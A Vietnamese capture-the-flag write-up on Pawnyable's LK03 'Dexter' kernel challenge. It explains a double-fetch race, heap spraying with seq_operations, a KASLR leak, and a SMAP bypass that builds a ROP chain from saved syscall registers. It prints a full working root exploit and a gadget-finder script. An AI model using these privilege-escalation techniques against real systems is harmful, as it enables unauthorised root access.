pawnyable.cafe

Double Fetch (LK03 - Dexter)

April 21, 2026 Medium

Recon

dexter.c

Module này có tên là dexter, cung cấp chức năng lưu trữ dữ liệu của người dùng có kích thước 0x20 bytes. Dữ liệu được đọc từ buffer ptr trong request_t, ghi vào buffer filp->private_data.

Trường private_data trong struct file của Linux kernel là một con trỏ void \* dành cho driver lưu trữ dữ liệu riêng tư tùy ý cho từng file descriptor khi file được mở.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Dexter - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "dexter"
#define BUFFER_SIZE 0x20
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

typedef struct {
  char *ptr;
  size_t len;
} request_t;

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!filp->private_data) return -ENOMEM;
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  kfree(filp->private_data);
  return 0;
}

int verify_request(void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -1;
  if (!req.ptr || req.len > BUFFER_SIZE)
    return -1;
  return 0;
}

long copy_data_to_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_to_user(req.ptr, filp->private_data, req.len))
    return -EINVAL;
  return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_from_user(filp->private_data, req.ptr, req.len))
    return -EINVAL;
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  if (verify_request((void*)arg))
    return -EINVAL;

  switch (cmd) {
    case CMD_GET: return copy_data_to_user(filp, (void*)arg);
    case CMD_SET: return copy_data_from_user(filp, (void*)arg);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};
...

Module cho phép giao tiếp qua syscall ioctl(), cmd là user muốn đọc hay ghi, arg là struct request_t - đọc/ghi ở đâu, độ dài bao nhiêu.

Double Fetch

Trước khi đi vào đọc/ghi, module đã gọi verify_request() để kiểm tra địa chỉ buffer và độ dài hợp lệ. Ở đây module fetch dữ liệu từ userspace vào req lần thứ nhất:

int verify_request(void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -1;
  if (!req.ptr || req.len > BUFFER_SIZE)
    return -1;
  return 0;
}

Rồi khi vào lệnh đọc/ghi, module lại fetch dữ liệu thêm một lần nữa:

long copy_data_to_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_to_user(req.ptr, filp->private_data, req.len))
    return -EINVAL;
  return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_from_user(filp->private_data, req.ptr, req.len))
    return -EINVAL;
  return 0;
}

Đây chính là lỗ hổng Double Fetch trong Linux kernel, khi kernel đọc dữ liệu từ userspace 2 lần mà ko có gì đảm bảo tính nhất quán giữa 2 lần đọc. Nếu như trong khoảng thời gian ngắn ngủi ngay sau khi verify_request() và trước khi read/write, attacker sửa đổi req.len thành giá trị lớn hơn BUFFER_SIZE thì có thể gây OOB read/write.

Exploitation

Mình sẽ cố gắng giải challenge này với mitigations mà tác giả ptr-yudai đã note ở cuối bài viết, với các mitigations như KASLR, KPTI, SMEP và quan trọng là SMAP. Cái hay ở đây là cách bypass SMAP với kROP.

OOB Read

Mục tiêu đầu tiên đó là bypass KASLR. Trước hết cần spray 1 target object nào đó trên heap, để nó rơi ngay vào sau filp->private_data, từ đó có thể lợi dụng OOB Read để leak kernel base.

BUFFER_SIZE là 0x20, nên filp->private_data sẽ đc lấy từ cache kmalloc-32. Vì vậy, một target object phù hợp đó là seq_operations:

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

Mình có thể tính đc kernel base sau khi leak địa chỉ hàm start(), và có thể control RIP sau này khi ghi đè nó.

Mình pin main thread vào CPU 0 (để tránh cấp phát object từ slab của CPU khác), sau đó spray seq_operations:

long spray_fds[SPRAY_COUNT];
int idx;

puts("spraying seq_ops...");
for (idx = 0; idx < SPRAY_COUNT/2; idx++) {
	spray_fds[idx] = open("/proc/self/stat", O_RDONLY);
	if (spray_fds[idx] < 0) {
		fatal("open");
	}
}

puts("opening /dev/dexter");
fd = open("/dev/dexter", O_RDWR);
if (fd < 0) {
	fatal("open");
}

puts("spraying seq_ops");
for (; idx < SPRAY_COUNT; idx++) {
	spray_fds[idx] = open("/proc/self/stat", O_RDONLY);
	if (spray_fds[idx] < 0) {
		fatal("open");
	}
}

Tiếp tục đến bước overread, mình tạo một thread mới, pin nó vào CPU 1, và liên tục đặt req.len đến giá trị lớn hơn BUFFER_SIZE. Read thành công khi buffer có các bytes khác NULL:

void *race(void *arg) {
    cpu_pin(1);
    while (!*(int *)arg) {
        req.len = TARGET_SIZE;
    }
}

void overread(char *buf) {
    puts("overreading...");
    char null[TARGET_SIZE];
    memset(buf, 0, TARGET_SIZE);
    memset(null, 0, TARGET_SIZE);

    int win_race = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, &win_race);
    
    while (!win_race) {
        get(buf, BUFFER_SIZE);
        if (memcmp(buf, null, TARGET_SIZE) != 0) {
            win_race = 1;
            puts("overread ok");
        }
    }
    pthread_join(t, NULL);
}

RDX đã được set về TARGET_SIZE, mình race thành công:

seq_operations nằm ngay sau:

Mình leak đc kernel base:

/pwn # ./exploit 
spraying seq_ops...
opening /dev/dexter
spraying seq_ops
overreading...
overread ok
start(): 0xffffffff81170f80
KERNEL_BASE: 0xffffffff81000000

OOB Write

Mục tiêu tiếp theo đó là ghi đè con trỏ hàm start() để mình control RIP. Mình lại race để overwrite tiếp, nhưng làm sao để biết được là overwrite thành công? Mình chỉ cần overread để rồi so sánh lại với cái mình overwrite là được:

void overwrite(char *buf) {
    puts("overwriting...");
    char tmp[TARGET_SIZE];

    int win_race = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, &win_race);

    while (!win_race) {
        memset(tmp, 0, TARGET_SIZE);
        for (int i = 0; i < 0x10000; i++) {
            set(buf, BUFFER_SIZE);
        }
        //overread to confirm success overwrite
        overread(tmp);
        if (memcmp(tmp, buf, TARGET_SIZE) == 0) {
            win_race = 1;
            puts("overwrite ok");
        }
    }
    pthread_join(t, NULL);
}

Và mình đã overwrite thành công:

RIP Control

Mình có thể trigger hàm start() thông qua read(seq_fd, buf, size) như sau:

for (int i = 0; i < SPRAY_COUNT; i++) {
	read(spray_fds[i], 0x4848484848, 0xffffffff);
}

Hmm có vẻ như khi ghi đè start() thì mình chỉ control đc thêm R13. Thế thì cũng khó làm gì tiếp được. Mình thử ghi đè next(), show(), stop(), nhưng còn tệ hơn vì ko control đc cái gì.

Mình thử đọc source code ở nơi handle xem như thế nào?

Giá trị trả về của hàm start() đc truyền vào làm tham số thứ 2 của show(), nghĩa là RAX sau khi gọi start(), sẽ thành RSI của show(). Vậy ý tưởng của mình là tìm gadget nào đó set RAX = R13 thì mình sẽ control đc RSI khi vào show(), và có thể chain gadget nào đó tiếp tạo primitive mạnh hơn. Kịch bản đẹp là có gadget mov RSP, RSI ghi vào show() để pivot stack.

Mình cần tránh gadgets có pop vì sẽ bị mất return address, ko return về để gọi show():

$ ROPgadget --bin vmlinux > gadgets
$ cat gadgets | grep -v pop | grep ret | grep rax | grep "r13 ;"
0xffffffff8151dd40 : sbb qword ptr [rcx + rax], r13 ; retf 0xd639
0xffffffff81c9b76c : xchg rax, r13 ; ret

Gadget xchg đẹp quá còn gì?

Nhưng bị panic vì tại đó là NX?

Vậy là ROPgadget đã ko xác định đc gadget nào mới thực sự là executable. Mình thử với ropper thì kết quả cũng vậy. Mình ko tìm đc gadget nào khác mà set RAX = R13.

Trong lúc bế tắc thì mình thử xem bufsize được truyền vào read() còn xuất hiện ở đâu nữa không? Thì mình thấy nó còn ghi lại trên stack:

Vậy mình nảy ra ý tưởng đó là, ghi vào start() một gadget có dạng add RSP, X; ...; pop RBP; ret để RBP rơi đúng vào giá trị buf mà mình control, sau đó ghi địa chỉ gadget leave; ret vào size. Nghĩa là mình sẽ control được RSP và pivot stack (mặc dù mình chưa setup ROP nhưng đây sẽ là primitive rất mạnh)!

Đây là một vài gadget phù hợp, và executable:

$ cat gadgets | grep "pop rbp ; ret" | grep "add rsp, 0x"
0xffffffff81153a6f : add rsp, 0x28 ; pop r12 ; pop r13 ; pop rbp ; ret
0xffffffff81073aa8 : add rsp, 0x28 ; pop rbx ; pop r12 ; pop rbp ; ret
0xffffffff812eedb2 : add rsp, 0x30 ; pop rbx ; pop rbp ; ret
$ cat gadgets | grep ": leave ; ret"
0xffffffff810006e7 : leave ; ret
0xffffffff812b2632 : leave ; ret 0

Mình thử:

for (int i = 0; i < SPRAY_COUNT; i++) {
	read(spray_fds[i], 0xffffffff81073aa8, 0xffffffff810006e7);
}

Nhưng có vẻ như start() còn ko được thực thi, mặc dù mình có break trong pwndbg.

/pwn $ ./exploit 
spraying seq_ops...
opening /dev/dexter
spraying seq_ops
overreading...
overread ok
start(): 0xffffffff81170f80
KERNEL_BASE: 0xffffffff81000000
overwriting start()...
overwriting...
overreading...
overread ok
overwrite ok
triggering ROP chain...
[*] pwned!
/pwn $ id
uid=1337 gid=1337 groups=1337

Vậy có thể có check nào đó trên path từ read() đến start() đã reject địa chỉ kernel mình nhập vào, mà cũng hợp lý thôi vì mình đang ở userspace mà, đâu thể cứ vậy mà read() ở kernel.

Đến đây mình bế tắc thật sự, ko nghĩ ra đc cách nào để chain các gadget lại với nhau, thôi mình đọc writeup vậy, chắc có kỹ thuật nào đó mình chưa biết https://blog.wohin.me/posts/pawnyable-0302/, nhưng mình sẽ cố gắng suy luận như mình chưa đọc writeup :).

kROP

Sau một hồi bế tắc, mình tele rồi enter liên tục vì chán, cho đến khi hết stack, mình để ý 5 phần tử ở cuối stack trông rất quen:

Đây chính là iretq frame mà mình đã biết khi làm các bài tập kROP trước đó trên pawnyable.cafe:

Nhưng sao nó lại xuất hiện ở đây nhỉ? Xuất hiện ở ngay đầu stack, vậy thì phải được đặt vào lúc vừa chuyển từ userspace sang kernel qua syscall, vậy chắc liên quan tới hàm entry_SYSCALL_64?

Đúng là vậy:

Sau khi tạo iretq frame, PUSH_AND_CLEAR_REGS đc gọi. Mình quan sát trong pwndbg như sau:

pwndbg> u 0xffffffff81800000
  0xffffffff81800000    swapgs
   0xffffffff81800003    mov    qword ptr gs:[0x6014], rsp
   0xffffffff8180000c    nop   
   0xffffffff8180000e    mov    rsp, cr3 # SWITCH_TO_KERNEL_CR3
   0xffffffff81800011    nop    dword ptr [rax + rax]
   0xffffffff81800016    and    rsp, 0xffffffffffffe7ff
   0xffffffff8180001d    mov    cr3, rsp
   0xffffffff81800020    mov    rsp, qword ptr gs:[0x1ac90]     RSP, [0xffff88800391ac90]
   0xffffffff81800029    push   _note_9+7 # USER SS
   0xffffffff8180002b    push   qword ptr gs:[0x6014] # USER RSP
   0xffffffff81800033    push   r11 # USER RFLAGS
   0xffffffff81800035    push   _note_9+15 # USER CS
   0xffffffff81800037    push   rcx # USER RIP
   0xffffffff81800038    push   rax # ORIGIN RAX
   0xffffffff81800039    push   rdi # File Descriptor
   0xffffffff8180003a    push   rsi # buf
   0xffffffff8180003b    push   rdx # size
   0xffffffff8180003c    push   rcx # USER RIP
   0xffffffff8180003d    push   -0x26 # -ENOSYS
   0xffffffff8180003f    push   r8
pwndbg> 
   0xffffffff81800041    push   r9
   0xffffffff81800043    push   r10
   0xffffffff81800045    push   r11 # USER RFLAGS
   0xffffffff81800047    push   rbx
   0xffffffff81800048    push   rbp
   0xffffffff81800049    push   r12
   0xffffffff8180004b    push   r13
   0xffffffff8180004d    push   r14
   0xffffffff8180004f    push   r15

Vậy nếu mình control giá trị các thanh ghi còn trống kia, R8 -> R15 (trừ R11), RBX, RBP, mình có thể xây dựng 1 ROP chain ở đây.

Cứ giả sử như mình có thể đặt RSP về đây để thực thi ROP, mình sẽ đặt ROP chain như sau:

  • R15 = pop RDI; ret;
  • R14 = 0
  • R13 = prepare_kernel_cred;
  • R12 = pop RCX; ret;
  • RBP = 0;
  • RBX = pop RBX; ret; (Để skip qua R11)
  • R10 = mov RDI, RAX; …; ret;
  • R9 = commit_creds;
  • R8 = swapgs_restores_and_return_to_usermode + 0x12; (Để bỏ đi thêm 4 giá trị trên stack, đặt RSP về đúng nơi USER RIP trước khi ireqt)

Ok vậy là vừa đủ nhét vừa ROP chain, nhưng vấn đề bây giờ là làm sao để đặt RSP về ngay chỗ R15 kia? Mình thử tìm các gadgets có dạng add RSP, X; ...; pop ...; pop ...; ...; pop ...; ret xem sao? Sao cho tổng được add vào RSP là 0x170, biết rằng mỗi pop là +8. Và X có thể là immediate hoặc [register].

2e:0170│+118 0xffffc9000018bf58 ◂— 0
2f:0178│+120 0xffffc9000018bf60 ◂— 0
pwndbg> 
30:0180│+128 0xffffc9000018bf68 —▸ 0x7fff924a9998 —▸ 0x7fff924a9f71 ◂— 'USER=root'
31:0188│+130 0xffffc9000018bf70 —▸ 0x401405 (main) ◂— endbr64
32:0190│+138 0xffffc9000018bf78 —▸ 0x7fff924a9940 —▸ 0x7fff924a9988 —▸ 0x7fff924a9f67 ◂— './exploit'
33:0198│+140 0xffffc9000018bf80 ◂— 1
34:01a0│+148 0xffffc9000018bf88 ◂— 0x246
35:01a8│+150 0xffffc9000018bf90 ◂— 0
... ↓     2 skipped
pwndbg> 
38:01c0│+168 0xffffc9000018bfa8 ◂— 0xffffffffffffffda
39:01c8│+170 0xffffc9000018bfb0 —▸ 0x404b4d (__syscall_cp_c+29) ◂— ret 
3a:01d0│+178 0xffffc9000018bfb8 ◂— 0xffffffff
3b:01d8│+180 0xffffc9000018bfc0 ◂— 0x4848484848 /* 'HHHHH' */
3c:01e0│+188 0xffffc9000018bfc8 ◂— 0xfe
3d:01e8│+190 0xffffc9000018bfd0 ◂— 0
3e:01f0│+198 0xffffc9000018bfd8 —▸ 0x404b4d (__syscall_cp_c+29) ◂— ret 
3f:01f8│+1a0 0xffffc9000018bfe0 ◂— 0x33 /* '3' */
pwndbg> 
40:0200│+1a8 0xffffc9000018bfe8 ◂— 0x246
41:0208│+1b0 0xffffc9000018bff0 —▸ 0x7fff924a8908 —▸ 0x405a83 (read+35) ◂— add rsp, 0x18
42:0210│+1b8 0xffffc9000018bff8 ◂— 0x2b /* '+' */
<Could not read memory at 0xffffc9000018c000>
pwndbg> dist 0xffffc9000018bde8 0xffffc9000018bf58
0xffffc9000018bde8->0xffffc9000018bf58 is 0x170 bytes (0x2e words)

Nhưng với ROPgadget mình cũng ko tìm đc gadget nào phù hợp:

$ cat gadgets | grep ret | grep -v leave | grep "add rsp, qword"
0xffffffff8101d32b : add rsp, qword ptr [rax] ; ret

$ cat gadgets | grep ret | grep -v leave | grep "add rsp, 0x1"
0xffffffff812f68e5 : add dword ptr [rbx], 0x18 ; add rsp, 0x18 ; pop rbx ; pop rbp ; ret
0xffffffff812f68e6 : add ebx, dword ptr [rax] ; add rsp, 0x18 ; pop rbx ; pop rbp ; ret
0xffffffff8108f0c2 : add rsp, 0x10 ; pop r12 ; pop r13 ; pop rbp ; ret
0xffffffff811a5e38 : add rsp, 0x10 ; pop r12 ; pop r14 ; pop rbp ; ret
0xffffffff81049e2b : add rsp, 0x10 ; pop rbx ; pop r12 ; pop rbp ; ret
0xffffffff8158a353 : add rsp, 0x10 ; pop rbx ; pop r13 ; pop rbp ; ret
0xffffffff814f4caa : add rsp, 0x10 ; pop rbx ; pop r14 ; pop rbp ; ret
0xffffffff812a2793 : add rsp, 0x10 ; ret
0xffffffff81153963 : add rsp, 0x18 ; pop r12 ; pop r13 ; pop rbp ; ret
0xffffffff812f8b19 : add rsp, 0x18 ; pop r12 ; pop rbp ; ret
0xffffffff812f4998 : add rsp, 0x18 ; pop r13 ; pop r14 ; pop rbp ; ret
0xffffffff8103601a : add rsp, 0x18 ; pop rbx ; pop r12 ; pop rbp ; ret
0xffffffff812e57dc : add rsp, 0x18 ; pop rbx ; pop r13 ; pop rbp ; ret
0xffffffff812e34d2 : add rsp, 0x18 ; pop rbx ; pop rbp ; ret
0xffffffff812a2791 : and al, 8 ; add rsp, 0x10 ; ret
0xffffffff810b72bd : cwde ; add rsp, 0x10 ; pop rbx ; pop r12 ; pop rbp ; ret
0xffffffff812e34cf : mov eax, dword ptr [rbp - 0x18] ; add rsp, 0x18 ; pop rbx ; pop rbp ; ret
0xffffffff812a278f : mov esp, dword ptr [rsp + 8] ; add rsp, 0x10 ; ret
0xffffffff812a278e : mov r12, qword ptr [rsp + 8] ; add rsp, 0x10 ; ret
0xffffffff81049e58 : sti ; add rsp, 0x10 ; pop rbx ; pop r12 ; pop rbp ; ret
0xffffffff81f28d7a : xor eax, eax ; add rsp, 0x18 ; pop rbx ; pop rbp ; ret

Với ropper thì cũng không. Vậy thử nhờ Claude viết 1 Python script dùng regex để tìm xem sao? Và tất nhiên ở giữa add RSPret, cần phải tránh những lệnh ảnh hưởng như push, jmp, call,…

#!/usr/bin/env python3

import struct
import re
from capstone import *

PATH = "vmlinux"
TARGET = 0x170
MAX_SCAN = 64

def get_segments(data):
    if data[:4] != b"\x7fELF": return []
    phoff = struct.unpack_from("<Q", data, 0x20)[0]
    entsize, count = struct.unpack_from("<HH", data, 0x36)
    segments = []
    for i in range(count):
        off = phoff + i * entsize
        if struct.unpack_from("<I", data, off)[0] == 1:
            f_off, vaddr = struct.unpack_from("<QQ", data, off + 8)
            f_sz = struct.unpack_from("<Q", data, off + 0x20)[0]
            segments.append((f_off, vaddr, f_sz))
    return segments

def main():
    with open(PATH, "rb") as f:
        data = f.read()

    segments = get_segments(data)
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    
    pattern = re.compile(rb"\x48\x83\xc4(?P<i8>[\x00-\x7f])|\x48\x81\xc4(?P<i32>[\x00-\xff]{4})")

    for m in pattern.finditer(data):
        add_val = m.group("i8")[0] if m.group("i8") else struct.unpack("<I", m.group("i32"))[0]
        if add_val >= 0x80000000: continue
        
        insns = []
        stack_adj = add_val
        found_ret = False
        
        for i in md.disasm(data[m.end():m.end() + MAX_SCAN], 0):
            insns.append(f"{i.mnemonic} {i.op_str}".strip())
            
            if i.mnemonic == "pop":
                stack_adj += 8
            elif i.mnemonic == "ret":
                found_ret = True
                break
            elif i.mnemonic in ("jmp", "call"):
                break
        
        if found_ret and stack_adj == TARGET:
            vaddr = next(v + (m.start() - f) for f, v, s in segments if f <= m.start() < f + s)
            print(f"0x{vaddr:016x} : add rsp, {hex(add_val)} ; {' ; '.join(insns)}")

if __name__ == "__main__":
    main()

Và mình đã tìm được 2 gadgets hoàn hảo:

$ py gadget.py 
0xffffffff810bf813 : add rsp, 0x140 ; mov eax, r9d ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0xffffffff811e10b6 : add rsp, 0x140 ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret

Tại sao lúc trước khi tìm gadgets set RAX = R13, mình lại ko viết script luôn? Vì mình ko biết được format gadget có thể trông như thế nào, nên khá khó tìm. Ngược lại, với hướng này, mình biết gadget có format như thế nào nên dễ dàng tìm đc bằng regex.

Exploit Script

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sched.h>

#define KASLR_ALIGN 0x200000
#define DEFAULT_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED 0xffffffff810729b0
#define COMMIT_CREDS 0xffffffff81072810
#define SWAPGS_RESTORES_AND_RETURN_TO_USERMODE 0xffffffff81800e10
#define POP_RDI_RET 0xffffffff8109b0cd
#define POP_RCX_RET 0xffffffff8110d88b
#define POP_RBX_RET 0xffffffff81290240
#define MOV_RDI_RAX_REP_RET 0xffffffff8163d0ab
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define BUFFER_SIZE 0x20
#define TARGET_SIZE (BUFFER_SIZE * 2)
#define SPRAY_COUNT 500

size_t KERNEL_BASE;
long fd;

typedef struct {
    char *ptr;
    size_t len;
} request_t;

void win();
void save_state();
void restore_state();
void fatal(const char *msg);
void cpu_pin(int cpu);

request_t req;

int get(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_GET, &req);
}

int set(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_SET, &req);
}

void *race(void *arg) {
    cpu_pin(1);
    while (!*(int *)arg) {
        req.len = TARGET_SIZE;
    }
}

void overread(char *buf) {
    puts("overreading...");
    char null[TARGET_SIZE];
    memset(buf, 0, TARGET_SIZE);
    memset(null, 0, TARGET_SIZE);

    int win_race = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, &win_race);
    
    while (!win_race) {
        get(buf, BUFFER_SIZE);
        if (memcmp(buf, null, TARGET_SIZE) != 0) {
            win_race = 1;
            puts("overread ok");
        }
    }
    pthread_join(t, NULL);
}

void overwrite(char *buf) {
    puts("overwriting...");
    char tmp[TARGET_SIZE];

    int win_race = 0;
    pthread_t t;
    pthread_create(&t, NULL, race, &win_race);

    while (!win_race) {
        memset(tmp, 0, TARGET_SIZE);
        for (int i = 0; i < 0x10000; i++) {
            set(buf, BUFFER_SIZE);
        }
        //overread to confirm success overwrite
        overread(tmp);
        if (memcmp(tmp, buf, TARGET_SIZE) == 0) {
            win_race = 1;
            puts("overwrite ok");
        }
    }
    pthread_join(t, NULL);
}

int main() {
    cpu_pin(0);
    long spray_fds[SPRAY_COUNT];
    int idx;

    puts("spraying seq_ops...");
    for (idx = 0; idx < SPRAY_COUNT/2; idx++) {
        spray_fds[idx] = open("/proc/self/stat", O_RDONLY);
        if (spray_fds[idx] < 0) {
            fatal("open");
        }
    }

    puts("opening /dev/dexter");
    fd = open("/dev/dexter", O_RDWR);
    if (fd < 0) {
        fatal("open");
    }

    puts("spraying seq_ops");
    for (; idx < SPRAY_COUNT; idx++) {
        spray_fds[idx] = open("/proc/self/stat", O_RDONLY);
        if (spray_fds[idx] < 0) {
            fatal("open");
        }
    }

    char buf[TARGET_SIZE];
    overread(buf);
    
    size_t leak = *(size_t *)(buf + 0x20);
    printf("start(): %p\n", (void *)leak);
    KERNEL_BASE = leak - 0x170f80;
    printf("KERNEL_BASE: %p\n", (void *)KERNEL_BASE);

    if ((KERNEL_BASE & (KASLR_ALIGN - 1)) != 0) {
        close(fd);
        for (int i = 0; i < SPRAY_COUNT; i++) {
            close(spray_fds[i]);
        }
        fatal("invalid KERNEL_BASE");
    }

    puts("overwriting start()...");
    // 0xffffffff810bf813: add rsp, 0x140; mov eax,r9d; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
    *(size_t *)(buf + 0x20) = 0xffffffff810bf813 - DEFAULT_BASE + KERNEL_BASE;
    overwrite(buf);

    puts("triggering ROP chain...");
    for (int i = 0; i < SPRAY_COUNT; i++) {
        int seq_fd = spray_fds[i];
        register unsigned long r15 asm("r15") = POP_RDI_RET - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long r13 asm("r13") = PREPARE_KERNEL_CRED - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long r12 asm("r12") = POP_RCX_RET - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long rbx asm("rbx") = POP_RBX_RET - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long r10 asm("r10") = MOV_RDI_RAX_REP_RET - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long r9 asm("r9") = COMMIT_CREDS - DEFAULT_BASE + KERNEL_BASE;
        register unsigned long r8 asm("r8") = SWAPGS_RESTORES_AND_RETURN_TO_USERMODE + 0x12 - DEFAULT_BASE + KERNEL_BASE;

        __asm__ volatile (
            ".intel_syntax noprefix\n"
            "xor r14, r14\n"
            "xor r11, r11\n"
            "xor rax, rax\n"
            "push rbp\n"
            "xor rbp, rbp\n"
            "syscall\n"
            "pop rbp\n"
            ".att_syntax prefix"
            :
            :
            "D" (seq_fd), // rdi
            "S" (0x1337), // rsi
            "d" (0x1337), // rdx
            "c" (0x1337), // rcx
            "r" (r15), "r" (r13), "r" (r12),
            "r" (r10), "r" (r9),  "r" (r8),
            "r" (rbx)
            : "memory" 
        );

        if (getuid() == 0) {
            break;
        }
    }

    close(fd);
    for (int i = 0; i < SPRAY_COUNT; i++) {
        close(spray_fds[i]);
    }

    win();

    return 0;
}

void cpu_pin(int cpu) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask) != 0) {
        fatal("sched_setaffinity");
    }
}

void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[*] pwned!");
    execve("/bin/sh", argv, envp);
    fatal("execve");
}

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}
[ Dexter (LK03) - Pawnyable ]
/pwn $ ./exploit 
spraying seq_ops...
opening /dev/dexter
spraying seq_ops
overreading...
overread ok
start(): 0xffffffff8cd70f80
KERNEL_BASE: 0xffffffff8cc00000
overwriting start()...
overwriting...
overreading...
overread ok
overwrite ok
triggering ROP chain...
[*] pwned!
/pwn # id
uid=0(root) gid=0(root)